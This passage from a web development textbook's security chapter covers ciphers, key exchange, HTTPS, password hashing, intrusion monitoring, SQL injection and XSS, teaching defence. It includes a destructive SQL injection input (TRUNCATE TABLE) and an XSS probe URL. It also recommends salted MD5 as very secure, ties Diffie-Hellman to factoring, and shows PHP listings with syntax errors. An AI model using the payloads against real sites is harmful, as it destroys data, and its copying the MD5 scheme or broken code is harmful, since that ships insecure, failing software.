receiving the message, Bob, knowing the secret key, can then transcribe the
message back into the original by shifting back the agreed-to number.

Figure 18.7 Caesar cipher for



shift value of 3. HELLO
becomes KHOOR

Figure 18.7 Full Alternative Text

Even without a computer, this cipher is quite vulnerable to attack since there
are only 26 possible deciphering possibilities. Even if a more complex
version is adopted with each letter switching in one of 26 ways, the frequency
of letters (and sets of two and three letters) is well known, as shown in Figure
18.8 , so a thorough analysis with these tables can readily be used to break
these codes manually. For example, if you noticed the letter J occurring most
frequently, it might well be the letter E.

Figure 18.8 Letter frequency in
the English alphabet using
Oxford English Dictionary
summary10



Figure 18.8 Full Alternative Text

Any good cipher must, therefore, try to make the resulting cipher text letter
distribution relatively flat so as to remove any trace of the telltale pattern of
letter distributions. Simply swapping one letter for another does not do that,
necessitating other techniques.

Vigenère
The Vigenère cipher, named for the sixteenth-century cryptographer, uses a
keyword or phrase to encode a message. The key phrase is written below the
message and the letters are added together to form the cipher text as
illustrated in Figure 18.9 . This code reduces the telltale letter frequencies that
make a Caesar cipher so insecure, and yet, over time it too has been shown to
be insecure since the resulting letter frequencies are not quite flat, and
statistical estimates can be made to decipher the message. In addition, if the
length of the key is known, then this cipher is equivalent to multiple Caesar
ciphers, and can easily be broken by frequency analysis.

Figure 18.9 Vigenère cipher
example with key hotdog



Figure 18.9 Full Alternative Text

However, an infinitely long key, never repeated, makes the Vigenère cipher
roughly equivalent to the one-time pad, a technique proven to be perfect.

One-Time Pad
The one-time pad refers to a perfect technique of cryptography where Alice
and Bob both have identical copies of a very long sheet of numbers,
randomly created. The one-time refers to the key only being used once and
then never again. The pad alludes to some cold war era implementations
where Soviet spies would carry actual pads of miniature paper with them to
encode messages. Since the key can only be used one time, the keys have to
be as long as the message, and as more and more messages are sent, more and
more key is needed.

Some codes were broken only when the spies reused the pads, introducing
detectable patterns that led to the code being discovered. Claude Shannon
famously proved that the one-time pad is impossible to crack11; a proof
whose impact is seen in the design of modern cryptographic systems.
However, it is impractical to implement on a large scale and remains a
theoretical benchmark that is rarely applied in practice.

Modern Block Ciphers
Building on the basic ideas of replacing one character with another, and
aiming for a flat letter distribution, block ciphers encrypt and decrypt
messages using an iterative replacing of a message with another scrambled
message using 64 or 128 bits at a time (the block).

The Data Encryption Standard (DES) and its replacement, the Advanced
Encryption Standard (AES) are two-block ciphers still used in web
encryption today. These ciphers are not only secure, but operate with low
memory and computational requirements, making them feasible for all types
of computer from the smallest 8-bit devices all the way through to the 64-bit



servers you use.

While the details are fascinating to a mathematically inclined reader, the
details are not critical to the web developer. What happens in a broad sense is
that the message is encrypted in multiple rounds where in each round the
message is permuted and shifted using intermediary keys derived from the
shared key and substitution boxes. The DES cipher is broadly illustrated in
Figure 18.10 . Decryption is identical but using keys in the reverse order.

Figure 18.10 High-level
illustration of the DES cipher

Figure 18.10 Full Alternative Text

Triple DES (perform the DES algorithm three times) is still used for many



applications and is considered secure. What's important is that the resulting
letter frequency of the cipher text is almost flat, and thus not vulnerable to
classic cryptanalysis.

All of the ciphers we have covered thus far use the same key to encode and
decode, so we call them symmetric ciphers. The problem is that we have to
have a shared private key. The next set of ciphers do not use a shared private
key.

18.3.2 Public Key Cryptography
The challenge with symmetric key ciphers is that the secret must be
exchanged before communication can begin. How do you get that
information exchanged? Over the phone? In an email? Through the regular
mail? Moreover, as you support more and more users, you must disclose the
key again and again. If any of the users lose their key, it's as though you've
lost your key, and the entire system is broken. In a network as large as the
Internet, private key ciphers are impractical.

Public key cryptography (or asymmetric cryptography) solves the problem of
the secret key by using two distinct keys: a public one, widely distributed and
another one, kept private. Algorithms like the Diffie-Hellman key exchange,
published in 1976, provide the basis for secure communication on the
WWW.12 They allow a shared secret to be created out in the open, despite
the presence of an eavesdropper Eve.

Note
To adequately describe public key cryptography, the next sections describe
some mathematic manipulations. You can skip over this section and still use
public key cryptography, although you may want to return later to understand
what's happening under the hood.



Diffie-Hellman Key Exchange
Although the original algorithm is no longer extensively used, the
mathematics of the Diffie-Hellman key exchange are accessible to a wide
swath of readers, and subsequent algorithms (like RSA) apply similar
thinking but with more complicated mathematics.

Hands-on Exercises Lab 18
Exercise
Modulo Arithmetic

The algorithm relies on properties of the multiplicative group of integers
modulo a prime number (modulo being the term to describe the remainder
left when dividing), as illustrated in Figure 18.11 , and relies on the power
associative rule, which states that:



Figure 18.11 Illustration of a
simple Diffie-Hellman Key
Exchange for g = 2 and p = 11

Figure 18.11 Full Alternative Text
gab=gba

The essence of the key exchange is that this gab can be used as a symmetric
key for encryption, but since only ga and gb are transmitted the symmetric
key isn't intercepted.

To set up the communication, Alice and Bob agree to a prime number p and a
generator g for the cyclic group modulo p.

Alice then chooses an integer a, and sends the value ga mod p to Bob.

Bob also chooses a random integer b and sends gb mod p back to Alice.

Alice can then calculate (gb)a mod p since she has both a and gb and Bob can
similarly calculate (ga)b mod p. Since gab = gba, Bob and Alice now have a
shared secret key that can be used for symmetric encryption algorithms such
as DES or AES.

Eve, having intercepted every communication, only knows g, p, ga mod p,
and gb mod p but cannot easily determine a, b, or gab. Therefore the shared
encryption key has been successfully exchanged and secure encryption using
that key can begin!

Pro Tip
Drawing from number theory, the DH key exchange depends on the fact that
numbers are difficult to factor. To understand some of the restrictions,



consider some concepts from number theory.

When we say g is a generator, we mean that if you take all the powers of g
modulo some number p, you get all values {1, 2, … , p-1}. Consider p = 11
and g = 2. The first 11 powers of 2 mod 11 are 2,4,8,5,10,9,7,3,6,1. Since 2
generates all of the integers, it's a generator and we can consider the DH Key
exchange example as illustrated in Figure 18.11 .

RSA
The RSA algorithm, named for its creators Ron Rivest, Adi Shamir, and
Leonard Adleman, is the public key algorithm underpinning the HTTPS
protocol used today on the web.13 In this public key encryption scheme,
much like the Diffie-Hellman system, Alice and Bob exchange a function of
their private keys and each having a private key determine the common secret
used for encryption/decryption. It uses powers and modulo to encode the
message and relies on the difficulty of factoring large integers to keep it
secure. Its implementation is included in most operating systems and
browsers, making it ubiquitous in the modern secure WWW. The algorithm
itself would take pages to describe and is left as an exercise to the interested
readers.

18.3.3 Digital Signatures
Cryptography is certainly useful for transmitting secure information, but if
used in a slightly different way, it can also help in validating that the sender
is really who they claim to be, through the use of digital signatures.

A digital signature is a mathematically secure way of validating that a
particular digital document was created by the person claiming to create it
(authenticity), was not modified in transit (integrity), and cannot be denied
(nonrepudiation). In many ways digital signatures are analogous to
handwritten signatures that theoretically also imbue the document they are
attached to with authenticity, integrity, and nonrepudiation.



Using the concepts from public key cryptography, we can consider the
process of signing a digital document to be as simple as encrypting a hash of
the transmitted message. The receiver can then apply the same technique, by
creating a hash of the message, and then decrypting your signature using the
public key to make sure the two messages are equal as shown in Figure 18.12
.

Figure 18.12 Illustration of a
digital signature and its
validation

Figure 18.12 Full Alternative Text



18.4 Hypertext Transfer Protocol
Secure (HTTPS)
Now that you have a bit of understanding of the cryptography involved, the
practical application of that knowledge is to apply encryption to your
websites using the Hypertext Transfer Protocol Secure (HTTPS) protocol
instead of the regular HTTP.

HTTPS is the HTTP protocol running on top of the Transport Layer Security
(TLS). Because TLS version 1.0 is actually an improvement on Secure
Sockets Layer 3.0 (SSL), we often refer to HTTP as running on TLS/SSL for
compatibility reasons. Both TLS and SSL run on a lower layer than the
application layer (back in Chapter 1 we discussed Internet Protocol and
layers), and thus their implementation is more related to networking than web
development. It's easy to see from a client's perspective that a site is secured
by the little padlock icons in the URL bar used by most modern browsers (as
shown in Figure 18.13 ).

Figure 18.13 Screenshot from
Google's Gmail service, using



HTTPS
Figure 18.13 Full Alternative Text

An overview of their implementation provides the background needed to
understand and apply secure encryption more thoughtfully. Once you see
how the encryption works in the lower layers, everything else is just HTTP
on top of that secure communication channel, meaning anything you have
done with HTTP you can do with HTTPS.

18.4.1 Secure Handshakes
The foundation for establishing a secure link happens during the initial
handshake. This handshake must occur on an IP address level, so while you
can host multiple secure sites on the same server, each domain must have its
own IP address in order to perform the low-level handshaking as illustrated in
Figure 18.14 .



Figure 18.14 SSL handshake
Figure 18.14 Full Alternative Text

The client initiates the handshake by sending the time, and a list of cipher
suites its browser supports to the server. The server, in response, sends back
which of the client's ciphers it wants to use as well as a certificate, which
contains information including a public key. The client can then verify if the
certificate is valid. For self-signed certificates, the browser may prompt the
user to allow an exception.

The client can then send a premaster secret (encrypted with the public key
received from the server) back to the server. Using the random premaster
secret both the client and server can compute a symmetric key. After a brief
client message and server message declaring their readiness, all transmission
can begin to be encrypted from here on out using the agreed-upon symmetric
key.



18.4.2 Certificates and Authorities
The certificate that is transmitted during the handshake is actually an X.509
certificate, which contains many details including the algorithms used, the
domain it was issued for, and some public key information. The complete
X.509 specification can be found in the International Telecommunication
Union's directory of public key frameworks.14 A sample of what's actually
transmitted is shown in Figure 18.15 .

Figure 18.15 The contents of a
self-signed certificate for
funwebdev.com

Figure 18.15 Full Alternative Text

The certificate contains a signature mechanism, which can be used to validate
that the domain is really who they claim to be. This signature relies on a third
party to sign the certificate on behalf of the website so that if we trust the
signing party, we can assume to trust the website.

http://funwebdev.com


Certificate Authority
A Certificate Authority (CA) allows users to place their trust in the certificate
since a trusted, independent third party signs it. The CA's primary role is to
validate that the requestor of the certificate is who they claim to be, and issue
and sign the certificate containing the public keys so that anyone seeing them
can trust they are genuine.

In browsers, there are many dozens of CAs trusted by default as illustrated in
Figure 18.16 . A certificate signed by any of them will prevent the warnings
that appear for self-signed certificates and in fact increase the confidence that
the server is who they claim to be.

Figure 18.16 The Firefox
Certificate Authority



Management interface
Figure 18.16 Full Alternative Text

A signed certificate is essential for any website that processes payment, takes
a booking, or otherwise expects the user to trust that the site is genuine.

Self-Signed Certificates
An alternative to paying a Certificate Authority is to sign the certificates
yourself. Self-signed certificates provide the same level of encryption, but the
validity of the server is not confirmed. These are useful for development and
testing environments, but not normally in production.

Hands-on Exercises Lab 18
Exercise
Self-Signed X.509 Certificate

The downside of a self-signed certificate is that we are not leveraging the
trust of the user (or browser) in known certificate authorities. Most browsers
will warn users that your site is not completely secure as illustrated in the
screen grab for funwebdev.com in Figure 18.17 . Since users are not certain
exactly what they are being told, they may lose faith that your site is secure
and leave, making a signed certificate essential for any serious business.

http://funwebdev.com


Figure 18.17 Firefox warning
that arises from a self-signed
certificate

Figure 18.17 Full Alternative Text

18.4.3 Migrating to HTTPS from
HTTP
Despite all the advantages of a secure site (including a modest boost from
some search engines in ranking, and an increasing trend to serve all websites
over https), there are many considerations to face when migrating or setting
up a secure site.



Coordinating the migration of a website can be a complex endeavor involving
multiple divisions of a company. In addition to marketing materials being
updated in the physical world to use the new URL, there are some
nontechnical issues that need to be addressed like the annual budget to
purchase and renew a certificate from a certificate authority. In addition to
the business questions there are also some technical considerations in
migrating to HTTPS.

Mixed Content
One of the biggest headaches for web developers working in secure sites is
the principle that a secure page requires all assets to be transmitted over
HTTPS. Since many domains have secure and insecure areas, it's not
uncommon that assets such as images might be identical for HTTP and
HTTPs versions of the site. When a page requested over HTTPS references
an asset over HTTP the browser sees that mixed content is being requested,
triggering a range of warning messages.

Once a web developer configures the server to handle https and the site is
running on that server the site will be deemed secure, since all assets are
retrieved using HTTPS. However, in order to fully address a transition from
HTTP to HTTPS, developers have to consider every place a HTTP reference
exists in their code. Hardcoded links (which are bad style—and now we see
why), should be replaced with relative links that easily transform according
to the protocol being used. These links might include the following:

Internal links within the site.

External links to frameworks delivered through a CDN.

Any links or references generated by PHP code that might include a
hardcoded http.

References to http within any HTML markup outside of PHP blocks.



Redirects from Old Site
Once you move your site over, there will be links remaining from third party
sites to your former HTTP URLs and it's important that that traffic not lead to
a dead end. A permanent redirection (301 code) header in HTTP tells the
browser that the link has permanently moved, and can be used to tell users
and search engines that your site has migrated to HTTPS.

To enable such behavior for every possible resource, the following two lines
of Apache directive (added in your Apache configuration files) will send a
301 code and the new link location on https.

RewriteCond %{HTTPS} off

RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]



18.5 Security Best Practices
With all our previous discussion of security thinking, cryptographic
principles, and authentication in mind, it's now time to discuss some practical
things you can do to harden your system against attacks.

A system will be targeted either purposefully or by chance. The majority of
attacks are opportunistic attacks where a scan of many systems identifies
yours for vulnerabilities. Targeted attacks occur less often, but are by their
nature more difficult to block. Either way there are some great techniques to
make your system less of a target.

18.5.1 Data Storage
With a good grasp of the authentication schemes and factors available to you,
there is still the matter of what you should be storing in your database and
server. It turns out even household names like Sony,15 Citigroup,16 and GE
Money17 have had their systems breached and data stolen. If even globally
active companies can be impacted, you must ask yourself: when (not if) you
are breached, what data will the attacker have access to?

A developer who builds their own password authentication scheme may be
blissfully unaware how this custom scheme could be compromised. The
authors have seen students very often create SQL table structures similar to
that in Table 18.2 and code like that in Listing 18.1, where the username and
password are both stored in the table. Anyone who can see the database can
see all the passwords (in this case users ricardo and randy have both chosen
the terrible password password).

Table 18.2 Plain Text Password
Storage



UserID (int) Username (varchar) Password (varchar)
1 ricardo password
2 randy password

This is dangerous for two reasons. Firstly, there is the confidentiality of the
data. Having passwords in plain text means they are subject to disclosure.
Secondly, there is the issue of internal tampering. Anyone inside the
organization with access to the database can steal credentials and then
authenticate as another user, thereby compromising the integrity of the
system and the data.

Secure Hash
Instead of storing the password in plain text, a better approach is to store a
hash of the data, so that the password is not discernable. One-way hash
functions are algorithms that translate any piece of data into a string called
the digest. You may have used hash functions before in the context of hash
tables. Their one-way nature means that although we can get the digest from
the data, there is no reverse function to get the data back. In addition to
thwarting hackers, it also prevents malicious users from casually browsing
user credentials in the database.

Listing 18.1 First approach to
storing passwords (very insecure)
//Insert the user with the password 

function insertUser($username,$password){ 

  $pdo = new PDO(DBCONN_STRING,DBUSERNAME,DBPASS); 

  $sql = “INSERT INTO Users(Username,Password)  

   VALUES('?,?')”); 

  $smt = $pdo->prepare($sql); 

  $smt->execute(array($username,$password)); //execute the query 

} 

//Check if the credentials match a user in the system 

function validateUser($username,$password){ 



  $pdo = new PDO(DBCONN_STRING,DBUSERNAME,DBPASS); 

  $sql = “SELECT UserID FROM Users WHERE Username=? AND  

          Password=?”; 

  $smt = $pdo->prepare($sql); 

  $smt->execute(array($username,$password)); //execute the query 

  if($smt->rowCount())){  

    return true;   //record found, return true. 

  } 

  return false;  //record not found matching credentials, return false

}

Cryptographic hash functions are one-way hashes that are cryptographically
secure, in that it is virtually impossible to determine the data given the digest.
Commonly used ones include the Secure Hash Algorithms (SHA)18 created
by the US National Security Agency and MD5 developed by Ronald Rivest, a
cryptographer from MIT.19 In our PHP code we can access implementations
of MD5 and SHA through the md5() or sha1() functions. MySQL also
includes implementations.

Table 18.3 illustrates a revised table design that stores the digest, rather than
the plain text password. To make this table work, consider the code in Listing
18.2, which updates the code from Listing 18.1 by adding a call to MD5 in
the query. Calling MD5 can be done in either the SQL query or in PHP.

MD5(“password”);    // 5f4dcc3b5aa765d61d8327deb882cf99

Table 18.3 Users Table with
MD5 Hash Applied to
Password Field

UserID
(int)

Username
(varchar) Password (varchar)

1 ricardo 5f4dcc3b5aa765d61d8327deb882cf99

2 randy 5f4dcc3b5aa765d61d8327deb882cf99



Listing 18.2 Second approach to
storing passwords (better)
//Insert the user with the password being hashed by MD5 first. 

function insertUser($username,$password){ 

 $pdo = new PDO(DBCONN_STRING,DBUSERNAME,DBPASS); 

 $sql = “INSERT INTO  Users(Username,Password)  

         VALUES(?,?)”; 

 $smt = $pdo->prepare($sql);

 $smt->execute(array($username,md5($password))); //execute the query

}

//Check if the credentials match a user in the system with MD5 hash

function validateUser($username,$password){ 

 $pdo = new PDO(DBCONN_STRING,DBUSERNAME,DBPASS); 

 $sql = “SELECT  UserID FROM Users WHERE  Username=? AND  

        Password=?”; 

 $smt = $pdo->prepare($sql); 

 $smt->execute(array($username,md5($password))); //execute the query

 if($smt->rowCount()){  

   return true; //record found, return true. 

 } 

 return false; //record not found matching credentials, return false

}

Security Tip
A common requirement in authentication systems is to support users who
have forgotten their passwords. This is normally accomplished by mailing it
to their email address with either a link to reset their password, or the
password itself.

Any site that emails your password in plain text likely has it stored that way,
which should make you question their data retention practices in general. The
appropriate solution is a link to a unique URL where you can type your new
password. The reason mailing a password is bad practice is because if the
database is stolen, the passwords are instantly associated with email accounts,



which for some users could be the same password.

Salting the Hash
A simple Google search for the string stored in our newly defined table:
5f4dcc3b5aa765d61d8327deb882cf99 brings up dozens of results which tell
you that that string is indeed the MD5 digest for password. Although most
hashes do not so easily appear in search engine results, many common ones
do.

Hands-on Exercises Lab 18
Exercise
Build Better Authentication

It turns out that a hacker with access to a table of hashes could build data
structures called rainbow tables that aid in breaking passwords given enough
time and space. However, if you add some unique noise to each digest, you
prevent rainbow tables from defining the entire lookup space in one go. That
is, the hacker would need to build a complete set of tables for each noisy
password, making it practically impossible given current knowledge and
computational power.

The technique of adding some noise to each password is called salting the
password and makes your passwords very secure. The Unix system time can
be used, or another pseudo-random string so that even if two users have the
same password they have different digests, and are harder to decipher. Table
18.4 shows an example of the correct way to store credentials, with
passwords salted and encrypted with a one-way hash. In this example the
passwords for randy and ricardo are still the same, but since they are hashed
with different salts, it is not obvious that these two users have the same
password. That is:



Table 18.4 Users Table with
MD5 Hash Using a Unique Salt
in the Password Field
UserID

(int)
Username
(varchar) Password (varchar) Salt

1 ricardo edee24c1f2f1a1fda2375828fbeb6933 12345a

2 randy ffc7764973435b9a2222a49d488c68e4 54321a

MD5(“password12345a”);  // edee24c1f2f1a1fda2375828fbeb6933

MD5(“password54321a”);  // ffc7764973435b9a2222a49d488c68e4

To illustrate how salted hashed passwords work within a larger authentication
example consider the code in Figure 18.18 . Here we see that a POST by the
user of the login form triggers logic to test the submitted credentials . To
authenticate, the code uses the session mechanism (from Chapter 16) and
uses a helper function to make two database queries: one to retrieve the salt 

 and another to see if the login was correct by hashing the submitted value
with the stored salt and checking for such a value in the database . If the
credentials are correct the session variable for the user is set  and the
HTML returned reflects a good login (and subsequent requests will contain
the session variable). Otherwise we do not set the session variable and return
an error page  prompting the user to try logging in again.



Figure 18.18 An Authentication
system using salted passwords

Figure 18.18 Full Alternative Text

Note how new users can be inserted into the system by creating a new salted
hashed password in the database, as shown in Listing 18.3.

If you apply these principles to your systems, you will mitigate the impact of
a successful attack that may happen in the future. While a hacker could still
gain access to your db files and employ a brute force search to guess the
passwords, this requires an investment of incredible computational power,
which the hacker may not be prepared to commit to.



Note, at the time of writing the first edition of this book, neither salted hash
used earlier appeared anywhere in Google search results. By the second
edition a single entry for one hash value appeared, but in reference to a
completely different username and password. This shows in practice that it's
difficult to obtain precalculated MD5 hashes for uncommon passwords, and
that two distinct username/password values can encode for the same hash.

Listing 18.3 Third approach to
storing passwords (even better)
function generateRandomSalt(){ 

   return base64_encode(mcrypt_create_iv(12), MCRYPT_DEV_URANDOM));

} 

// Insert the user with the password salt generated, stored, and 

// password hashed 

function insertUser($username,$password){ 

   $pdo = new PDO(DBCONN_STRING,DBUSERNAME,DBPASS); 

   $salt = generateRandomSalt(); 

   $sql = “INSERT INTO Users(Username,Password,Salt)  

           VALUES(?,?,?)”; 

   $smt = $pdo->prepare($sql); 

   $smt->execute(array($username,md5($password.$salt),$salt)); 

}

Dive Deeper

How does a site keep me logged in?
One of the more common security questions our students ask us is “How does
a site, once I've successfully logged in, keep me logged in for subsequent
requests? And how does it know how to keep me logged in when I revisit the
site hours or even weeks later?” The answer to these questions can vary
depending on a site's security policy.



Let's take a look at the first question. Once you have logged in via a HTML
form, how do subsequent requests “know” that you have already logged in?
The answer to this generally makes use of cookies, a topic that we covered
back in Chapter 16. Once you have successfully logged in, an authentication
cookie is passed back to the browser and that cookie continues to be passed
to and from the server for subsequent requests and responses. What is an
authentication cookie? Simply a cookie that has the HttpOnly flag set and
which expires when the user browser session ends.

Since cookies can be disabled on a user's browser and are only communicated
with HTTP requests (and not with the asynchronous requests that are
becoming more and more common), it has become more common for sites to
instead make use of token-based authentication. With this approach, it is
common to use JSON Web Tokens (JWTs) which are passed via an
additional HTTP Authorization header. This token is stored client-side in
local Web Storage (also covered in Chapter 16) and is passed to the server in
subsequent HTTP and asynchronous requests. Because the token contains all
the information needed to identify and authorize the user behind the request,
it requires no additional state management on the server, which is an
advantage for multi-server environments (recall in Chapter 16 that managing
server session state in a multiple-server installation is a tricky problem). As
well, token-based authentication does not have as many security
vulnerabilities as cookie-based authentication.

Now for the tricky second question: how does a site keep me logged in days
or weeks later? You may recall from Chapter 16 that persistent cookies are
used when we want the browser to preserve state information after the
browser session is done. What should we store in such a cookie? Clearly a
site should not save a user name and password combination in a cookie, since
that cookie would be visible to anyone else who has access to that computer.

Instead, what is saved in the persistent cookie is a random long token value.
A salted and hashed version of that random token value, its paired user
identifier, and a timeout value are stored in a separate authorization token
database table that is related to the user table (which has the actual user log-in
information). When a request comes in with the persistent cookie, the site
will check if the hashed and salted token exists in the token table; if it does,



the user is logged in, and a new random token is generated, stored in the
authorization token table, and resent as a new persistent cookie to the
browser. Figure 18.19 illustrates this process.



Figure 18.19 Remembering a
user logon

Figure 18.19 Full Alternative Text

If you carefully consideration Figure 18.19 , you may realize that the process
illustrated here still has vulnerabilities. If this cookie is stolen in any way,
then the thief will still be able to login. The advantage of the process shown
in the figure is not that it provides a fully secure Remember Me system (since
there really isn't one), but that it doesn't expose the user's login credentials to
the thief. For this reason, it is important that sites which use persistent
cookies in the way shown in Figure 18.19 also do the following:

Use a short expiry date on the persistent cookie so that window of
opportunity for cookie thieves is limited.

Important user functions such as changing emails or passwords, making
purchases, or accessing user address or financial information can only
happen after a regular login (i.e., not a cookie-based login).

18.5.2 Monitor Your Systems
You must see by now that breaches are inevitable. One of the best ways to
mitigate damage is to detect an attack as quickly as possible, rather than let
an attacker take their time in exploiting your system once inside. We can
detect intrusion directly by watching login attempts, and indirectly by
watching for suspicious behavior like a web server going down.

System Monitors
Now while you could periodically check your sites and servers manually to
ensure they are up, it is essential to automate these tasks. There are tools that



allow you to preconfigure a system to check in on all your sites and servers
periodically. Nagios, for example, comes with a web interface as shown in
Figure 18.20 that allows you to see the status and history of your devices, and
sends out notifications by email as per your preferences. There is even a
marketplace to allow people to buy and sell plug-ins that extend the base
functionality.

Figure 18.20 Screenshot of the
Nagios web interface (green
means OK)

Figure 18.20 Full Alternative Text
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System Monitoring

Nagios is great for seeing which services are up and running, but cannot
detect if a user has gained access to your system. For that, you must deploy
intrusion detection software.

Access Monitors
As any experienced site administrator will attest, there are thousands of
attempted login attempts being performed all day long, mostly from Eurasian
IP addresses. They can be found by reading the log files often stored in
/var/log/. Inside those files attempted login attempts can be seen as in Listing
18.4.

Inside of the /var/log directory there will be multiple files associated with
multiple services. Often there is a mysql.log file for MySQL logging,
access_log file for HTTP requests, error_log for HTTP errors, and secure for
SSH connections. Reading these files is normally permitted only to the root
user to ensure no one else can change the audit trail that is the logs.

Listing 18.4 Sample output from a
secure log file showing a failed SSH
login
Jul 23 23:35:04 funwebdev sshd[19595]: Invalid user randy from 

    68.182.20.18 

Jul 23 23:35:04 funwebdev sshd[19596]: Failed password for invalid

    user randy from 68.182.20.18 port 34741 ssh2

If you did identify an IP address you wanted to block (from SSH for
example), you could add the address to etc/hosts.deny (or hosts.allow with a
deny flag). Addresses in hosts.deny are immediately prevented from
accessing your server. Unfortunately, hackers are attacking all day and night,



making this an impossible activity to do manually. By the time you wake up
several million login attempts could have happened.

Automated Intrusion Blocking
Automating intrusion detection can be done in several ways. You could write
your own PHP script that reads the log files and detects failed login attempts,
then uses a history to determine the originating IP addresses to automatically
add to hosts.deny. This script could then be run every minute using a cron job
(scheduled task) to ensure round-the-clock vigilance.

For those of us less interested in writing that script from scratch, consider the
well-tested and widely used Python script blockhosts.py or other similar tools
like failzban or blockhostz. These tools look for failed login attempts by both
SSH and FTP and automatically update hosts.deny files as needed. You can
configure how many failed attempts are allowed before an IP address is
automatically blocked and create your own custom filters.20

18.5.3 Audit and Attack Thyself
Attacking the systems you own or are authorized to attack in order to find
vulnerabilities is a great way to detect holes in your system and patch them
before someone else does. It should be part of all the aspects of testing,
including the deployment tests, but also unit testing done by developers. This
way SQL injection, for example, is automatically performed with each unit
test, and vulnerabilities are immediately found and fixed.

There are a number of companies that you can hire (and grant written
permission) to test your servers and report on what they've found. If you
prefer to perform your own analysis, you should be aware of some open-
source attack tools such as w3af, which provide a framework to test your
system including SQL injections, XSS, bad credentials, and more.21 Such a
tool will automate many of the most common types of attack and provide a
report of the vulnerabilities it has identified.



With a list of vulnerabilities, reflect on the risk assessment (not all risks are
worth addressing) to determine which vulnerabilities are worth fixing.

Note
It should be noted that performing any sort of analysis on servers you do not
have permission to scan could land you a very large jail term, since accessing
systems you are not allowed to is a violation of federal laws in the United
States. Your intent does not matter; the very act alone is a terrible idea, and
the authors discourage you from breaking the law and going against
professional standards.



18.6 Common Threat Vectors
A badly developed web application can open up many attack vectors. No
matter the security in place, there are often backdoors and poorly secured
resources, which are accidentally left accessible to the public. This section
describes some common attacks and some countermeasures you can apply to
mitigate their impact.

18.6.1 Brute-Force Attacks
Perhaps the most common security threat is the unsophisticated brute-force
attack. In this attack, an intruder simply tries repeatedly guessing the
password. For instance an automated script might try looping through words
in the dictionary or use combinations of words, numbers, and symbols. If no
protective measure is in place, such a script can usually work within minutes.
Since a site's server logs will disclose when such an attack is happening,
automated intrusion blocking may provide protection by blocking the IP
address of the script. But since it is possible to hide the IP address of the
brute force script via open proxy servers, such IP blocking is often not
sufficient.

For this reason it is important to throttle login attempts. One approach is to
lock a user account after some set number of incorrect guesses. Another
approach is to simply add a time delay between login attempts. For instance,
the first two or three login attempts might have no delays, but login attempts
four through seven have a delay of 5 seconds, while any attempts after the
seventh are delayed 10 minutes with a sliding exponential scale after the tenth
attempt. Such a system will make brute-force attacks impractical in that they
might take years instead of minutes to discover the password.

Another approach to dealing with brute force attacks is making use of a
CAPTCHA. These systems present some type of test that is easy for humans
to pass but difficult for automated scripts to pass. Some CAPTCHAS ask the



user to identify a distorted word or number in an image; others ask the user to
solve a simple math problem. Adding one of these to your forms typically
involves interacting with a CAPTCHAS service using JavaScript. One of the
most popular is the reCAPTCHA service provided by Google (https://
developers.google.com/recaptcha/).

18.6.2 SQL Injection
SQL injection is the attack technique of using reserved SQL symbols to try
and make the web server execute a malicious query other than what was
intended. This vulnerability is an especially common one because it targets
the programmatic construction of SQL queries, which, as we have seen, is an
especially common feature of most database-driven websites.

Hands-on Exercises Lab 18
Exercise
Injection Tests

Consider a vulnerable application illustrated in Figure 18.21 .

https://developers.google.com/recaptcha/


Figure 18.21 Illustration of a
SQL injection attack (right)
and intended usage (left)

Figure 18.21 Full Alternative Text

In this web page's intended-usage scenario (which does work), a username
and a password are passed directly to a SQL query, which will either return a
result (valid login) or nothing (invalid). The problem is that by passing the
user input directly to the SQL query, the application is open to SQL injection.
To illustrate, in Figure 18.21  the attacker inputs text that resembles a SQL
query in the username field of the web form. The malicious attacker is not



trying to log in, but rather, trying to insert rogue SQL statements to be
executed that have nothing to do with the user authentication system. Once
submitted to the server, the user input actually results in two distinct queries
being executed:

1. SELECT * FROM Users WHERE uname=''; 

2. TRUNCATE TABLE User;

The second one (TRUNCATE) removes all the records from the Users table,
effectively wiping out all the user records, making the site inaccessible to all
registered users!

Try to imagine what kind of damage hackers could do with this technique
since they are only limited by the SQL language, the permission of the
database user, and their ability to decipher the table names and structure.
While we've illustrated an attack to break a website (availability attack), it
could just as easily steal data (confidentiality attack) or insert bad data
(integrity attack), making it a truly versatile technique.

There are two ways to protect against such attacks: sanitize user input, and
apply the least privileges possible for the application's database user.

Sanitize Input
To sanitize user input (remember, user input is often achieved through query
strings) before using it in a SQL query, you either apply sanitization
functions and bind the variables in the query using parameters or prepared
statements. For examples and more detail please refer back to Chapter 14.

From a security perspective, you should never trust a user input enough to
use it directly in a query, no matter how many HTML5 or JavaScript
prevalidation techniques you use. Remember that at the end of the day your
server responds to HTTP requests, and a hacker could easily circumvent your
JavaScript and HTML5 prevalidation and post directly to your server.



Least Possible Privileges
Despite the sanitization of user input, there is always a risk that users could
somehow execute a SQL query they are not entitled to. A properly secured
system only assigns users and applications the privileges they need to
complete their work, but no more.

For instance, in a typical web application, one could define three types of
database user for that web application: one with read-only privileges, one
with write privileges, and finally an administrator with the ability to add,
drop, and truncate tables. The read-only user is used with all queries by
nonauthenticated users. The other two users are used for authenticated users
and privileged users, respectively.

In such a situation, the SQL injection example would not have worked, even
if the query executed since the read-only account does not have the TRUNCATE
privilege and therefore the attack does not work.

18.6.3 Cross-Site Scripting (XSS)
Cross-site scripting (called XSS, so as not to be confused with CSS) refers to
a type of attack in which a malicious script (JavaScript, VBScript, or
ActionScript) is embedded into an otherwise trustworthy website. These
scripts can cause a wide range of damage and can do just about anything you
as developers could do writing a script on your own page.

In the original formulation for these type of attacks, a malicious user would
get a script onto a page and that script would then send data through AJAX to
a malicious party, hosted at another domain (hence the cross, in XSS). That
problem has been partially addressed by modern browsers, which restrict
AJAX requests to the same domain. However, with at least 80 XSS attack
vectors to get around those restrictions, it remains a serious problem.22 There
are two main categories of XSS vulnerability: Reflected XSS and Stored
XSS. They both apply similar techniques, but are distinct attack vectors.



Reflected XSS
Reflected XSS (also known as nonpersistent XSS) are attacks that send
malicious content to the server, so that in the server response, the malicious
content is embedded.

For the sake of simplicity, consider a login page that outputs a welcome
message to the user, based on a GET parameter. For the URL index.php?
User=eve, the page might output Welcome eve! as shown in Figure 18.22 .

Figure 18.22 Illustration of a



Reflection XSS attack
Figure 18.22 Full Alternative Text

A malicious user could try to put JavaScript into the page by typing the URL:

index.php?User=<script>alert(“bad”);<script>

What is the goal behind such an attack? The malicious user is trying to
discover if the site is vulnerable, so they can craft a more complex script to
do more damage. For instance, the attacker could send known users of the
site an email including a link containing the JavaScript payload, so that users
that click the link will be exposed to a version of the site with the XSS script
